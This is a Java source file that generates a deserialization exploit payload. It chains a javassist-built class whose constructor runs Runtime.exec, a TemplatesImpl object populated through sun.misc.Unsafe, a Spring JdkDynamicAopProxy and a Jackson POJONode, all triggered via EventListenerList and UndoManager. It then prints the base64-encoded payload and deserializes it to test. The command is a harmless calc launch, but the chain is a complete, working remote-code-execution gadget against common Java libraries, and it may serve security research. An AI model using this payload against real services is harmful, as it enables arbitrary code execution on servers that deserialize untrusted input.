1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165
| package com.n1ght;
import com.sun.org.apache.bcel.internal.Repository; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.CtNewConstructor; import sun.misc.Unsafe; import javax.swing.event.EventListenerList; import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.Vector;
public class Main1 { public static String base64Serial(Object o) { try { ByteArrayOutputStream barr = new ByteArrayOutputStream(); (new ObjectOutputStream(barr)).writeObject(o); return Base64.getEncoder().encodeToString(barr.toByteArray()).toString(); } catch (Exception e) { System.out.println("Error: " + e); return "Failed"; } }
public static Object base64DeSerial(String base64) throws Exception { byte[] decode = Base64.getDecoder().decode(base64); ByteArrayInputStream bin = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(bin); return objectInputStream.readObject(); }
public static void fileSerial(Object o) { try { FileOutputStream barr = new FileOutputStream("ser.bin"); (new ObjectOutputStream(barr)).writeObject(o); } catch (Exception e) { System.out.println("Error: " + e); }
}
public static Object fileDeSerial() { try { FileInputStream fileInputStream = new FileInputStream("ser.bin"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); return objectInputStream.readObject(); } catch (Exception e) { System.out.println("Error: " + e); return "Failed"; } }
public static void deSerial(Object o) throws Exception { base64DeSerial(base64Serial(o)); } static Unsafe unsafe;
static { try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { System.out.println("Error: " + e); }
}
public static Unsafe getUnsafe() throws Exception { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); return unsafe; }
public static void setObject(Object o, Field field, Object value) { unsafe.putObject(o, unsafe.objectFieldOffset(field), value); } public static Object getObject(Object o, Field field) { return unsafe.getObject(o, unsafe.objectFieldOffset(field)); } public static Object newClass(Class c) throws InstantiationException { Object o = unsafe.allocateInstance(c); return o; }
public static void bypassModule(Class src, Class dst) throws Exception { Unsafe unsafe = getUnsafe(); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));
} public static byte[] getObjectBytes(Class o) throws Exception { return Repository.lookupClass(o).getBytes(); } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace"); ctClass3.removeMethod(writeReplace); ctClass3.toClass(); CtClass ctClass = pool.makeClass("Calc");
ctClass.addConstructor( CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass) ); CtClass ctClass1 = pool.makeClass("Foo");
byte[] bytecode = ctClass.toBytecode(); byte[] bytecode1 = ctClass1.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templates = newClass(aClass); setObject(templates, aClass.getDeclaredField("_name"), "n1ght");
setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal()); setObject(templates, aClass.getDeclaredField("_tfactory"), newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport"); Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport); constructor.setAccessible(true); Object advisedSupport1 = advisedSupport.newInstance(); Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class); setTarget.invoke(advisedSupport1, templates); InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler); Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode"); Constructor<?> constructor1 = name.getConstructor(Object.class); Object node = constructor1.newInstance(proxy);
EventListenerList list2 = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) getObject(manager, CompoundEdit.class.getDeclaredField("edits")); vector.add(node);
setObject(list2, EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
String s = base64Serial(list2); System.out.println(s); Object o = base64DeSerial(s); } }
|